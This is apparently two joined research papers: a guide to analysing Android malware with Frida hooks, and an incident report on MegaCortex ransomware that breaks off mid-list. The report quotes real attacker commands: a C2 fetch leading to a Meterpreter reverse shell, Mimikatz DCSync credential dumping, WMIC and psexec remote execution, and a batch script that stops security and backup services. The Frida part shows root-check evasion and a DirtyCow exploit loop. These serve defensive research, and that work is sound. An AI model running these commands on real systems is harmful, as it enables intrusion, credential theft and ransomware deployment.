Notice: These are the examples we will demonstrate here in this paper. However, the same method name has the variations of Java method overloading with different parameters which we will not walk through here one by one.

By hooking those methods, you will get most likely everything you want to know in regards to HTTP/HTTPS connections and responses.
// Hook java.net.URL.init(String spec)
const netURL = Java.use('java.net.URL');
netURL.$init.overload('java.lang.String').implementation = function(var0) {
    const targetUrl = var0.toString();
    if (isInterestingUrl(targetUrl)) {
        reportCall('URL', ['init', targetUrl]);
    }
    return this.$init(var0);
};

Figure 2. Hooking java.net.URL.init(String spec)

// Hook android.webkit.WebView.loadUrl(String url)
const webView = Java.use('android.webkit.WebView');
webView.loadUrl.overload('java.lang.String').implementation = 
    function(var0) {
        const targetUrl = var0.toString();
        if (isInterestingUrl(targetUrl)) {
            reportCall('WebView', ['loadUrl', targetUrl]);
        }
        this.loadUrl(var0);
    };;

Figure 3. Hooking android.webkit.WebView.loadUrl(String url)

// Hook HttpURLConnectionImpl.connect()
const HttpURLConnection = Java.use(
    'com.android.okhttp.internal.huc.HttpURLConnectionImpl');
HttpURLConnection.connect.implementation = function() {
    const targetUrl = this.getURL().toString();
    if (isInterestingUrl(targetUrl)) {
        reportCall('Connection', ['connect', targetUrl]);
    }
    this.connect();
};

Figure 4.hooking HttpURLConnectionImpl.connect()

// URLConnection.getInputStream()
httpURLConnection.getInputStream.implementation = function() {
    const targetUrl = this.getURL().toString();
    if (isInterestingUrl(targetUrl)) {
        // You have the chance to intercept payload here.
        reportCall('Connection', ['getInputStream', targetUrl]);
    }
    return this.getInputStream();
};

Figure 5. Hooking HttpURLConnectionImpl.getInputStream()
As demonstrated, by hooking these methods allows us to understand which URL is going to be established in these entries, and this benefits us on inspecting network payload directly from the HTTP responses.

```javascript
const byteArrayOutputStream = Java.use('java.io.ByteArrayOutputStream');
const byteArrayOutputStream = Java.use('java.io.ByteArrayOutputStream');
// URLConnection.getInputStream()
httpURLConnection.getInputStream.implementation = function() {
    const targetUrl = this.getUrl().toString();
    if (isInterestingUrl(targetUrl)) {
        // Read payload
        const ipsPayload = this.getInputStream();
        // Extracting payload from InputStream to ByteArray
        const opxPayload = byteArrayOutputStream.of();
        const payloadByArray = [ ];
        clonePayload(ipsPayload, opxPayload, payloadByArray);
        // Dump the payload buffer to device storage
        const savedFileName = dumpPayload2Storage('payload', payloadByArray);
        // Report usage to Frida
        reportCall('Connection', ['getInputStream', targetUrl, offset, convertPayload2Ascii(payloadByArray), savedFileName]);
        // Resources clean up
        payloadByArray = [ ];
        ipsPayload.close();
        opxPayload.write(0);
        opxPayload.flush();
        // Return original payload
        return byteArrayOutputStream.of();
    } else {
        return this.getInputStream();
    }
}
```

**Figure 6. Hooking URLConnection.getInputStream()**

### Network Traffic Inspection on TsSdk

TsSdk, the aggressive Adware found on Google Play Store by Avast is selected for demo interception on the server responses with the above Frida hooking practices. Below figures show how easy it is to dump networking traces of malware "Phone Color Screen" (package name: com.color.call.flash.colorphone, sha256: C77D6BDE542CB19D919D01AAC5A3F2D572CF58CC2DFBD0E9B37CC873E43B8BA) by Frida CLI with a short script file as below.

```
$ frida -U --no-pause -l case_Android_HTTP_Inspect.js -f com.color.call.flash.colorphone
```

**Figure 7. Screenshot of launching com.color.call.flash.colorphone**
By hooking HttpURLConnectionImpl.getInputStream(), we can inspect not only complete URL string (with full parameters) but also the whole payload in each HTTP response. The amazing part is that MitM proxy environment is not necessary at all.

The TIP: We might often run into a case such as the C&C was taken down, DNS records have expired, indicators of your environment are on the blacklist for receiving responses or just simply run samples in a situation that networks are not connected. Can we still observe something from the network that malware was designed to execute? The answer is certainly yes, and of course you will not get anything via hooking HttpURLConnection.getInputStream().
Disconnected Network

This is the example on invoking host app without Internet access to simulate host app failed to communicate with remote server or complete the whole HTTP/HTTPS requests. The result shows a few URL initialisations are visible, while hooking of URL.init() and HttpURLConnectionImpl.connect().

Identity-Specific Malware

Some tricky malware hide all the malicious behaviors after evaluating sandboxes, devices, and networking for any possible signs of known indicators of anti-malware platforms and infrastructures. On the other hand, some specific malware only reveal the malicious behaviors on targeted environments.

In order to do that the malware has to store records of identities in regards to those known anti-malware environments. This kind of information could be stored locally or remotely. By doing that malware is also able to determine if this is a regular user environment or a specific attack target. This chapter we talk about how to deal with sandbox-evading malware with environmental awareness implemented using Frida. However, we will not cover all the sandbox-evading techniques here.

Root Detection and Evasion on Android

We often run into a situation that malware stops working by doing root detection on Android. Researchers often works on rooted devices. With Frida, things can be much easier at runtime. Below is a quick example to demo how Frida script plays tricks in Root Checker.

```
$ frida -U --no-pause -l frida_antiroot.js -f com.joeykrim.rootcheck
```
Briefly speaking, Root Checker Basic performs two steps in determining root-ability of running device. One is file existent of Superuser.apk and the other is return value of function call `java.lang.Runtime.exec('su')`.
IMEI Blacklist: BlackBaby

There is one aggressive Adware campaign reported by Tencent in 2018, which integrated suspicious AD library to push unwanted AD while victims (children, especially) enjoy on gaming, story listening, etc. It's quite interesting that this Adware (or its library) integrates IMEI blacklist checking through web service in form of HTTP parameter as below:

`'/PromotionWS.asmx/CheckBlackList?sIMEI={DEVICE_IMEI}'`

At the first place, we capture HTTP/HTTPS traffic on host app, named as 儿童游戏-儿歌多多 (package name: `com.lhyy.mgchildrenmusic`, sha256: DE6706D324B667F2E7ED100D23D6B435651D55D5097570C5EFO968B222E6D0A0). Below figures tell the IMEI leaking with plaintext HTTP and blacklist blocking from HTTP response. The phase '在黑名单里' inside HTTP response (Figure 20) means "blacklisted".

---

**Figure 17. Hooking java.io.File.exists()**

**Figure 18. Hook C library function call access()**

**Figure 19. Output of Frida CLI console**
Second, we applied Frida script to inject legal IMEI (from one commercial mobile device) on the fly, and then it bypassed blacklist check. The phase ‘无对应信息’ inside HTTP response (Figure 21) means "no corresponding information".

Here are the details of the story. Frida script `case_Android_Property_IMEI.js` is designed to mock return value of `getDevice()` call. It makes a generic emulator switch its android indicator (IMEI, androidID) on the fly.
For example, applying that Frida script on demo app app (package name: com.example.imei.checker, sha256: 597AADCE5DBE9218508A5A69A4FD1BF20163B316B1F36D8F58B02FF3E71EA), the device’s IMEI (in viewpoint of target app) was switched to the mocked one when Activity starts.

In this BlackBaby case, Frida scripts (combination scripts of case_Android_HTTP_Inspect.js and case_Android_Property_IMEI.js) changes IMEI and inspect HTTP/HTTPS traffic without upgrading Android framework nor introducing any network traffic capture mechanism. Next, it's time to enjoy the research journey for more valuable topics, such as analysing AD dispatching from control server, suspicious behavior in dropping library/executable code, etc.
The Variations of Dynamic Payloads

Often we see malware hides itself into harmless applications, however, it starts to download payloads and acts differently in the background. This kind of malware uses social-engineering techniques heavily if the payload requires user interactions to agree, download, install, and launch such as a separated APK file from the network. It could also do malicious things in the background by downloading executables such as dex, jar, etc... that require DexClassLoader to load the methods out of those payloads. The forms of payloads can be packaged in many different forms and some of them even come with the encrypted file format. The above situations make researchers’ life harder and not easy to be found.

In this chapter, we talk about common cases leveraging DexClassLoader and advanced tricks (i.e. unpacking, decrypting or decoding at the first place). Frida can help researchers to see things clearly in regards to identifying the actual payload and by doing this with Frida that payload has already been decrypted by the malware itself. With such an approach in mind, researchers can now understand how the malware and payload work together without trial-and-error frequently or doing deep reverse-engineering to find out the algorithm for decrypting the payload.

Dropper, Calling unlink/remove to Hide Files

An interesting malware, named Devlet Giriş (package name: com.taxationtex.giristexation, sha256: 46AEB04F2F03EB7C716FC6E58A5DEA763CD9B00EB7A466D018A0744F56A7368F), is extremely responsible to sweep traces as soon as possible in the early stage of application initialising. To make ‘file dropping’ event visible for researching, there are at least two steps to solve in advance.

1. To bypass the dynamic check at initialising stage, where host app evaluates the current system time (via Java and C library) and blacks all SimContryIso except TR (Turkey).
2. To hook all possible file removal function/API to backup file immediately when host app tries to remove dropped files

For the first step, it’s to hook both Java Date utility and C function time() in order to replace the real system date time value. Besides, there is an extra SimCountryIso checking to hook, too. More detailed of this malware is full described in the article written by Ahmet Bilal Can[5].

```java
34 var javaDate = Java.use('java.util.Date');
35 javaDate.getTime.implementation = function() {
36 // new Date().getTime() => 1553655108000L ||
37 // new Date().getTime() <= 1554519180000L
38 var mockValue = 1554087180000L;
39 reportCall('util.Date', ['getTime', 'mock', mockValue]);
40 return mockValue;
41
42 var telMgr = Java.use('android.telephony.TelephonyManager');
43 telMgr.setSimCountryIso.load().implementation = function() {
44 reportCall('TelephonyManager', ['mock', 'tr']);
45 return 'tr';
46
47 });
48
49 var libcTime = Module.findExportByName('libc.so', 'time');
50 Intercept.replace(libcTime, new NativeCallback(function() {
51 var timeHook = 15540871800;
52 reportCall('libc.so', ['time', 'mock', timeHook]);
53 return TimeHook;
54 }, ['long', ['long']]);
```
We also leverage the fundamental file I/O hook by reusing Frida script `case_Android_File_IO.js`. Only a few lines were updated to introduce the suspicious file backup mechanism.

```javascript
var unlinkFptr = Module.findExportByName('libc.so', 'unlink');
var unlink = new NativeFunction(unlinkFptr, 'int', ['pointer']);
var removeFptr = Module.findExportByName('libc.so', 'remove');
var remove = new NativeFunction(removeFptr, 'int', ['pointer']);
Interceptor.replace(unlinkFptr, new NativeCallback(function(var0) {
    var filePath = Memory.readUtf8String(var0);
    if (isInterestingPath(filePath)) {
        backup2sdcard(filePath);
        reportCall(['Demo', ['backup', filePath]]);
    }
    var returnCode = unlink(var0);
    if (isInterestingPath(filePath)) {
        reportCall(['libc.so', ['unlink', filePath, returnCode]]);
    }
    return returnCode;
}, 'int', ['pointer']));
```

Figure 26. Frida script to backup files one step before file removal

Frida script applying on this host app shows events and actions in perfect order. And this executing Android instance successfully passed the host app's dynamic checking mechanism.

```
$ frida -U --no-pause -l case_Banker_Dropper.js -f com.taxationtex.giristexation
```

Figure 27. Output of Frida script showing events of all dynamic checks

When the dynamic check conditions are all satisfied, host app did some secret jobs and then invoked a remove call on file "xwcnhf.dex". Both the removal intention and file content are all captured by our Frida script as well.
Dropper in Advanced, DexClassLoader

Generally speaking, there are three major steps of dropper:

- Landing external binary or executable code
- Upgrading internal implementation by DexClassLoader
- Removing landing files to sweep traces

Below is an example of malware, named Blood Volume (package name: name: com.hiox.BloodVoluCalcul, sha256: 26A983760B78310BBD30CD4A75F72EA24C940303E27F059A6A80720E25CAE5F). After hooking on both file IO and DexClassLoader, the output of Frida script shows detailed information of DexClassLoader and clear timeline for related events.

$ frida -U --no-pause -l case_Android_dexClassLoader_hook.js -f com.hiox.BloodVoluCalcul

![Figure 28. Output of Frida script showing timeline of those actions](image)

![Figure 29. Screenshot of Blood Volume](image)
In this case, Frida helps researchers know better inside the dynamic behavior of host app. Next, it’s responsibility of researchers on topics of

- content of the dropped dex/jar file, which is reserved by hooking unlink() function
- the consumer of dropped file, i.e. from call stack of caller of DexClassLoader
- condition to meet or timing to trigger bad actors to drop and load suspicious external libraries
The Tricky In-Memory Cache

Compares to physical files, memory space of the applications is also a popular place to manipulate malicious behaviors. These sorts of fileless payloads and decrypted buffers are all tricky in-memory caches we will talk about in this chapter and those are pretty common techniques designed to avoid leaving traces to malware researchers.

Frida script helps researchers easily monitor each step of App underground, by hooking API calls and inspecting content (in memory) referred in API parameters. For example, an aggressive Adware family, TsSdk, Powerful Booster (package name: com.longteng.powerful.booster.phone.cleaner, sha256: 888E9A3A4A076B6F765F6F8B3854C885CFA3AB716CCF82A6C56D057611A740932, details are available on)\[7\] is a good example.

![Figure 32. Output of Frida script showing timeline among IO and DexClassLoader](image)

![Figure 33. Screenshot of Powerful Booster](image)
The output of Frida CLI console helps us narrow down events such as AD module/configuration loading or privacy leaking. And it’s easy to extend the capability to dump the raw buffer from memory into internal storage for further analysis.

This Frida script is designed to hook init and doFinal of Cipher, especially dumping memory content into string for ASCII friendly-representative, exporting content to internal storage, etc.

```javascript
//
// Convert input integer to ASCII string, with . if not ASCII
// @param (integer) num0fCode integer to represent types of Cipher structure/data
// @return (string) printable string
//
function getCipherOptType(num0fCode) {
    const cipher0fMode = {
        0: 'DESCRYPT_MODE',
        1: 'ENCRYPT_MODE',
        2: 'PRIVATE_KEY',
        3: 'PUBLIC_KEY',
        4: 'SECRET_KEY',
        5: 'UNWRAP_MODE',
        6: 'WRAP_MODE',
    };
    if (num0fCode in cipher0fMode) {
        return cipher0fMode[num0fCode];
    } else {
        return num0fCode.toString();
    }
}
```
At the end, the batch dynamic analysis on sandbox infrastructure can easily track data transmission from/to host app and its original activity/module. One more step, if we integrate call stack dumping by getStackTrace of java.lang.Thread, there will be a more clear picture showing who did the encryption on what kinds of data. Here is an example of Frida script output:
Encrypting Malware

Encrypting Malware usually leverages encryption utilities to encrypt/encode victims' data to block file/system access unless victims pay the ransom to get their file/system back in form of private key (for decryption), decryption utility (i.e. another app to install), or nothing.

Here is an example named Seven (package name: net.south.seven, sha256: 61f73bf90c3234faeb8aa7c90f24fa3f7a3a1d38b2e94d40ce96a21e7320fd28), which fakes itself as Sex Simulator game. It was classified as FileCoder[8], and sneakily encrypted digital files (i.e. .jpg, .pdf, etc.) on devices when victims stayed on customising gaming profiles.

![Figure 40. Screenshot of Sex Simulator, actually FileCoder ransomware](image)

This malware has two major activities. First one tells how to pay the ransom, and second produce files in the form of its customized “.seven” file. To catch the attention of victims, it provided several screens/buttons/forms to make victims stay with app execution as long as possible. In the meantime, it performed the file encrypting/hijacking task in the background.

![Figure 41. Screenshot of host app, for the middle and end of ‘game’](image)
There are two major functionalities to ransom by blocking victims from accessing their own files: one is for file IO (open/read/write/close/remove), the other is for data encryption (Cipher init and doFinal). They are also two major concepts for Frida script to hook. According to below output of Frida CLI console, it provided a clear timeline in opening original file, reading content, encrypting data, opening new file with extension name `.seven`, writing encrypted data, and then removing the original file. In ransomware malware analysis, for both manual inspection of researchers and batch processing of threat intelligent system, one Frida script is a pretty good start.

```bash
$ frida -U --no-pause -l case_Android_Ransonware_hook.js -f net.south.seven
```

![Figure 42. Photos in gallery and downloaded file for ransom](image1.png)

![Figure 43. Output of Frida CLI with events open/encrypting/unlink in order](image2.png)

![Figure 44. Frida script hooking file IO function call](image3.png)

![Figure 45. Frida script hooks Encryption API function call](image4.png)
Frida Meets Dirty Cow

Dirty Cow[^9], a Linux vulnerability about copy-on-write implementation, lived in Linux for more than 9 years and Google provided Android security patch on December 2016. Beside the background of DirtyCow from Linux to Android repository, the most attractive part was there are plenty out-of-date stock ROM on Android 4, 5, 6, and 7 without security patch. It makes bad actors have chance to root (an early step for lots of bad things) consumer mobile phones easily without notice.

After quickly studying tech summary and demo code from articles[^10], there are majors functions call with parameters playing important roles in this race condition vulnerability.

```c
main
f=open(argv[1],O_RDONLY);
fsstat(f,&st);
name=argv[1];
map=mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);

threading
f=open("/proc/self/mem",O_RDWR);
for(i=0;i<100000000;i++) {
    lseek(f,(uintptr_t)map,SEEK_SET);
    c+=write(f,str,strlen(str));
}
```

The practice in this section is a little different from previous section. Command strace and frida-trace are introduced on those function calls in the first place. A fakeapp (also classified as dropper) named in System Service (package name:com.yk26gzrdq, sha256: F8A6362CE444858A698320B424BEF17A3807E92EF23BB3826B973C3F9324), was evaluated in this practice in three scenario: to execute sandalong, to execute with strace, and to execute with frida-trace.

The evaluation result tells the fact that it has highest reproduce rate on vulnerable device without any hooking/inspecting. Introducing strace monitoring might reduce few level of reproducibility. Using frida-hook or Frida script on file IO function calls makes it difficult to reproduce the exploit and it’s very easy to crash the host app.

```
open("/data/data/com.yk26gzrdq/files/.assets/lib/libcore-daemon.so", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 66
read(66, "\177EL\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 52) = 52
mmap2(NULL, 4096, PROT_READ, MAP_PRIVATE, 66, 0) = 0x75ae7000
madvise(0x75ae7000, 4096, MADV_MERGEABLE) = -1 EINVAL (Invalid argument)
madvise(0x75ae8000, 188416, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x75ae8000
madvise(0x75ae8000, 188416, MADV_MERGEABLE) = -1 EINVAL (Invalid argument)
madvise(0x75ae8000, 91488, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 66, 0) = 0x75ae8000
madvise(0x75ae8000, 91488, MADV_MERGEABLE) = -1 EINVAL (Invalid argument)
madvise(0x75aff000, 72268, PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 66, 0x16000) = 0x75aff000
madvise(0x75aff000, 72268, MADV_MERGEABLE) = -1 EINVAL (Invalid argument)
madvise(0x75b11000, 20480, PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x75b11000
madvise(0x75b11000, 20480, MADV_MERGEABLE) = -1 EINVAL (Invalid argument)
close(66) = 0
munmap(0x75ae7000, 4096) = 0
mprotect(0x75aff000, 8192, PROT_READ) = 0
```

Figure 46. Strace on main process of com.yk26gzrdq, pid:9255
The major drawback of strace is researcher-unfriendly. We need to specify the pid of target process in command line. It’s more elegant to use frida-trace.

$ frida-trace -U -n com.yk26gzrdq -i open -i mmap -i write -i madvise

And we customized our own Frida script for repeating evaluation.

$ frida -U --no-pause -l libc.so.iotrace.js com.yk26gzrdq.*

That’s it. We did not continue trying to build a DirtyCow detector by Frida scripts for production, but there are few lessons learned to summarise below.

- Frida works with legit app or well-designed malware.
- For others, it sometimes makes host app crashing and sometimes make android launcher restart.
- It’s not efficient to adopt in cases for CPU intensive use cases. For example, mult-threading/multi-processing or reproducing race conditions.
Honestly speaking, it’s trivial to use Frida script to hook, monitor and count (i.e. measure frequency of certain API calls in a period of time). However, sandbox infrastructure in production already does a great job with the customized ROM/framework. We believe Frida script can still help on case analysis in penetration test, vulnerabilities or exploit evaluation. Maybe we would have a good story to tell in another presentation in the future when we meet a good use case of malware attack.

Conclusion

We have walked through some of the major scenarios how we use the power of Frida. It is, however, just part of it. We are still trying to use Frida in many cases which we think it will be interesting and we are still learning it along the way.

Frida can really help researchers to understand the mechanism, the traffic, the memory, the I/O and the process of the malware with ease. We can inject custom implementation to change the behavior without repackaging the malware. This brings researchers the possibilities to save more time and focus on things that need our attention.

We do recommend researchers to use Frida together with sandbox you have, and the reason is simple: you can have more dynamic analysis out of the box. A sandbox requires certain level of maintenance in order to catch malware as much as it can. However, malware is keeping changing every day. Frida does provide the power to allow researchers to do the analysis and detection directly without modifying the sandbox.

Have a frida-ready-to-use environment will become more and more important over time. It is not just because we are using Frida, but also it will be the future trend of Android malware analysis.

All the scripts described in this paper are open-sourced under this project link: 
https://github.com/hj-hsu/avar2019_frida

Use Frida now and forever.
Reference

[7] Sample summary on Avast Mobile Threat Intelligence Platform https://www.apklab.io/apk.html?hash=888e9a34a076b6f765f6fb3b54c885cfa3ab716ccf82a6cc56d057611a740932
What is Really Happening with MegaCortex

Christopher D. Del Fierro / IBM X-Force IRIS Team

Abstract

MegaCortex Ransomware was all over the cybersecurity news at the end of May 2019. However, according to Sophos, MegaCortex was already around and was submitted to VirusTotal sometime in January 2019. MegaCortex is a ransomware that uses both automated and manual components to infect victims. It is believed that MegaCortex targets corporate networks who were previously infected with Emotet/Qbot, thereby gaining access to Administrator accounts and subsequently backdoor access. With a backdoor open, threat actors can freely push and execute MegaCortex and its components using a batch file.

What we know so far about MegaCortex is that it needs a base64 encoded key as an argument and it must be executed within a specific date and a 3-hour time window to properly continue to its ransomware payload. With its unconventional execution conditions and distribution method, threat actors are making sure that MegaCortex will not be easily cracked and reversed by malware analysts.
Up to date, no one has yet to publish a complete technical breakdown of MegaCortex from a reverse engineer’s stand point. This research details a great discovery about MegaCortex and discusses features other researchers may have missed — demystifying how it “really” works. For example, other technical reports mention MegaCortex only uses one DLL as component, but in fact, it is two! The second DLL component will be discussed to breakdown the process of the said ransomware once and for all. For all we know, MegaCortex might shape the future of ransomware.

1. Introduction

“You take the blue pill — the story ends, you wake up in your bed and believe whatever you want to believe. You take the red pill — you stay in Wonderland and I show you how deep the rabbit-hole goes.”

— MORPHEUS, THE MATRIX —

This is one of the nostalgic lines of the 1999 sci-fi action film called “The Matrix”. The Matrix is easily one of my top 10 favorite sci-fi action films and has probably influenced most of us in some way while growing up. Even threat actors were inspired into making a Matrix-themed Ransomware — called MegaCortex.

MegaCortex is one of the newly added crypto ransomware variants this 2019. It quickly spread news of its arrival in the cybersecurity world not only because it was inspired by The Matrix movie but also because of its sophisticated methodology of infection that utilizes both automated and manual components. Our X-Force IRIS team identified that MegaCortex “only” targets organizations whose network were previously infected by commodity malware such as Emotet, Trickbot and/or Qbot.

At this point in time, threat actors of MegaCortex already released an upgraded version in which the said ransomware is now capable of being deployed in wide-scale attacks. This paper focuses on breaking down the first version of MegaCortex — exposing the truly malicious module named “payload.dll” that was not reported in any publications.

But first, let us observe the Tactics, Techniques and Procedures (TTPs) of MegaCortex.
2. Megacortex engagement by X-force IRIS

2.1 EMOTET, TRICKBOT, QBOT

During a client engagement last April 2019, IBM X-Force IRIS identified multiple systems, including a Domain Controller (DC), communicating with a Cobalt Strike server and multiple systems infected with Emotet, Trickbot and Qbot.

X-Force IRIS identified the earliest system compromise occurred on 12 January 2019 when system (SYS01) was infected with Emotet. This system was a beachhead for the malicious actors throughout the activity. This same host was later infected with Trickbot on 21 February 2019. Emotet is capable of delivering a variety of malware payloads. Qbot and Trickbot are both capable of moving laterally in the network and stealing network credentials.

2.2 Cobalt strike and meterpreter

On 8 April 2019, the threat actor — using stolen admin credentials — executed a Cobalt Strike downloader binary (b1faf39b92816680b2fa16c2a911d2f40de80c6d1b400b28945b8434307dee5b) on SYS01. This downloader malware executes multiple stages before the actual payload is executed. Static analysis reveals that this file is UPX(3.95)[NRV,brute] compressed.

Upon execution, UPX will decompress its contents and familiar Microsoft Visual C++ compiled bytes appear. This is actually another loader which decompresses a MinGW compiled executable in memory and uses the Process-Hollowing technique — creating a suspended process of itself — in order to overwrite its own code in memory and execute the newly unpacked one.

Inside the MinGW compiled loader is an encrypted dynamic link library (DLL) which houses the communication of CobaltStrike to its C2. This payload DLL will be decrypted and dynamically loaded in memory using the CreateThread() function.
Here is a simple diagram to illustrate execution:

```
b1fa3b92816660b2fa16c2a911d2f04eb0c6ddb40b2894b834307dee5b (UPX packed .exe unpacks MSVCPP.exe)
 | -->MSVCPP (MSVCPP.exe unpacks MinGW.exe and uses Process Hollowing)
 |   | -->MinGW (MinGW.exe decrypts Payload.dll and loads DLL using CreateThread)
 |   | -->Payload.dll (Connects to C2)
```

Note that not a single file was dropped to disk upon decompression.

Next, it will generate an ID of the infected machine by harvesting the following data, generating output which is tab delimited:

- Current user
- Computer name
- OS version
- Wow64Version
- Hostname
- IP address

Example:

```
"66165 1088 6.1 192.168.116.131 WIN7ULT-32 WIN7ULT32 * 0 0"
```

It uses the following user agent to create a connection to its C2:

```
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; MAM2)
```

And attempts to download an XML file by performing a **GET** request with the following URI:

```
https://89.105.198.28/ie9compatviewlist.xml
```

Inside the xml file is a heavily obfuscated PowerShell command that after three layers of deobfuscation reveals to be a Cobalt Strike script that opens a Meterpreter reverse TCP shell from SYS01 to 89.105.198.28:443.

```
1 powershell.exe -nop -w hidden -e
```

**Figure 2. Obfuscated PowerShell that leads to a Meterpreter reverse TCP shell**
2.3 Internal reconnaissance

After gaining a foothold in SYS01, threat actors continued harvesting network configuration information and user credentials to obtain domain administrator access on Windows Domain Controllers (DC). The threat actors used publicly available tools such as AdFind, Mimikatz and scripts to enumerate network information, dump user credentials and create multiple accounts with domain administrator permissions. These accounts were used by the threat actors throughout the engagement to attempt to deploy and execute ransomware.

On 30 April 2019, threat actors executed "C:\Users\<user account>\AppData\Local\Temp\3\m.exe" which happens to be a variant of Mimikatz tool. The Mimikatz "DCSync" functionality was leveraged to obtain credentials for 18 targeted accounts.

Example:

```
m.exe "lsadump::dcsync /domain:<DOMAIN> /user:<accountname>" exit
```

The malicious actor(s) utilized the command-line 7-Zip file "7.exe" to archive Mimikatz output.

Example:

```
7.exe a -mx3 m.txt *.txt
```

These credentials were exfiltrated by the threat actors and another obfuscated PowerShell script was executed which contained a payload that attempts to execute an encrypted PE file.

Here is a simple diagram illustrating the execution process of the encrypted PE file:

```
artifact_2019-04-24_22-21.exe
|   --> PE file (8d5f6eeb54a74c9dc9d18eacf8e3c061049848dbae37eb58ab7b2efc64eccf30b)
|   --> Shellcode

GET /DbnH HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; Touch)
Host: 185.202.174[.]112
Cache-Control: no-cache
```

2.4 Lateral Movement

Following internal reconnaissance, Megacortex threat actors used the extracted enumerated network info and compromised created accounts to move laterally. They used multiple techniques to deploy additional PowerShell backdoors configured to communicate externally and/or download additional payloads. In addition, the malicious actor also utilized Remote Desktop Protocol (RDP) for lateral movement.
The threat actors leveraged Windows Management Instrumentation Command line (WMIC) tool on a compromised DC to remotely install additional PowerShell backdoors on multiple systems. The new backdoors were configured to communicate with 185[.]202[.]174[.]103.

Example:

```
wmic /node:<target IP address> /user:<DOMAIN\admin account> /password:<password> process call create "powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALA
<Redacted for Brevity>
```

### 2.5 MegaCortex deployment

On 3 May 2019, X-Force IRIS observed a significant uptick in malicious activity. The investigation highlighted the staging of batch files and binaries on DCs. The threat actors used these DCs as distribution points.

On 4 May 2019, the threat actors began deploying the MegaCortex ransomware and supporting scripts to approximately 5,693 systems. X-Force IRIS immediately identified this activity and began emergency containment measures in collaboration with the client security personnel. The malicious actor’s distribution process involved establishing remote communication channels with specific DCs and using WMIC to stage each MegaCortex component in ‘C:\Windows\Temp’ directory. These DCs would serve as repositories during the final distribution process. They leveraged multiple Windows batch scripts (BAT) to automate the ransomware distribution and execution process. Each script was preconfigured with targeted victim system information and used to distribute the MegaCortex components, such as stop.bat and winnit.exe, and issue the command to initiate ransomware.

1c.bat was used to automate the further distribution of “stop.bat” to specific victim systems.

```
<Redacted for Brevity>
start copy stop.bat \\<target IP address>c$\windows\temp
<Redacted for Brevity>
```

While 1cw.bat was used to automate the further distribution of “winnit.exe” to specific victim systems.

```
<Redacted for Brevity>
start copy winnit.exe \\<target IP address>c$\windows\temp
<Redacted for Brevity>
```

Threat actor(s) then utilized 1ssp.bat to automate the execution of “stop.bat” to specific victim systems. If successful, this ultimately leads to the execution of the ransomware. The rstwg file referenced in the batch script is a renamed copy of the legitimate Windows PSEXEC.exe binary located in “C:\windows\temp”.

```
<Redacted for Brevity>
start psexec.exe \\<target IP address> -u <DOMAIN\DC admin account> -p "<DC admin password>" -d -h -r rstag -s -accepteula -nobanner c:\windows\temp\stop.bat
<Redacted for Brevity>
```
3. Breaking down MegaCortex

The MegaCortex binary is usually named as `winnit.exe` to spoof a legitimate Windows binary file "wininit.exe". On 4 May 2019 (emphasis on the date), threat actors remotely executed a batch file (`stop.bat`) that contains a list of processes to terminate and services to stop and disable with most related to computer security and backup.

```
stop.bat
```

```
taskkill /IM zoolz.exe /F
```

```
taskkill /IM agntsve.exe /F
```

```
taskkill /IM dbeng50.exe /F
```

```
taskkill /IM encsvc.exe /F
```

```
taskkill /IM excel.exe /F
```

```
taskkill /IM firefoxconfig.exe /F
```

```
taskkill /IM infopath.exe /F
```

```
taskkill /IM isqlplussvc.exe /F
```

```
taskkill /IM msaccess.exe /F
```

```
taskkill /IM msftesql.exe /F
```

```
taskkill /IM mspub.exe /F
```

```
taskkill /IM mydesktopqos.exe /F
```

```
taskkill /IM mydesktopservice.exe /F
```

```
taskkill /IM mysql.exe /F
```

```
taskkill /IM mysql-nl.exe /F
```

```
taskkill /IM mysql-opt.exe /F
```

```
taskkill /IM ocautoupds.exe /F
```

```
taskkill /IM ocomm.exe /F
```

```
taskkill /IM ocssd.exe /F
```

```
taskkill /IM onenote.exe /F
```

```
taskkill /IM oracle.exe /F
```

```
taskkill /IM outlook.exe /F
```

```
taskkill /IM powerpnt.exe /F
```

```
taskkill /IM sqbcoreservice.exe /F
```

```
taskkill /IM sqlagent.exe /F
```

```
taskkill /IM sqlbrowser.exe /F
```

```
taskkill /IM sqlservr.exe /F
```

```
taskkill /IM sqlwriter.exe /F
```

```
taskkill /IM steam.exe /F
```

```
taskkill /IM synctime.exe /F
```

```
taskkill /IM tbirdconfig.exe /F
```

```
taskkill /IM thebat.exe /F
```

```
taskkill /IM thebat64.exe /F
```

```
taskkill /IM thunderbird.exe /F
```

```
taskkill /IM visio.exe /F
```

```
taskkill /IM winword.exe /F
```

```
taskkill /IM wordpad.exe /F
```

```
taskkill /IM xfsssvcon.exe /F
```

```
taskkill /IM tmlistener.exe /F
```

```
taskkill /IM PccNTMon.exe /F
```

```
taskkill /IM CNTAoSMgr.exe /F
```

```
taskkill /IM Ntrtscan.exe /F
```

```
taskkill /IM mbamtray.exe /F
```

```
net stop AcronisAgent /y
```

```
net stop AcrsRchSvc /y
```

```
net stop ARSM /y
```

```
net stop BackupExecAgentAccelerator /y
```

```
net stop BackupExecAgentBrowser /y
```

```
net stop bedbg /y
```

```
net stop DCAgent /y
```

```
net stop EPSecurityService /y
```

```
net stop ERUpdateService /y
```

```
net stop EraserSvc11710 /y
```

```
net stop EsgShKernel /y
```

```
net stop IISAdmin /y
```

```
net stop IMP4Srv /y
```

```
net stop macmnsvc /y
```

```
net stop masvc /y
```

```
net stop MBAMService /y
```

```
net stop mfevtp /y
```

```
net stop MMS /y
```

```
net stop mozyprobackup /y
```

```
net stop MsDtsServer /y
```

```
net stop MsDtsServer100 /y
```

```
net stop MsDtsServer110 /y
```

```
net stop MSExchangeES /y
```

```
net stop MSExchangeIS /y
```

```
